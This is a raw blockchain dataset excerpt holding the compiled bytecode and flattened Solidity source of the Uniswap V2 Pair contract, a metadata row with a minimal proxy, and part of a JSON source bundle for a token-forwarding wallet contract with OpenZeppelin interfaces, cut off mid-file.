ffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 20,290,705 | 173fd2604d2d87867d7b3f973d3cda878f4a0f8e8c8524166e0b7b85029e0a32 | c8759c20f60041ad1124a34c7604e65978d34aeda363918895cd440771c1183e | 41ed843a086f44b8cb23decc8170c132bc257874 | 29ef46035e9fa3d570c598d3266424ca11413b0c | f97015d26c4e0e334eee1af326a0f22c8a80f926 | 3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an 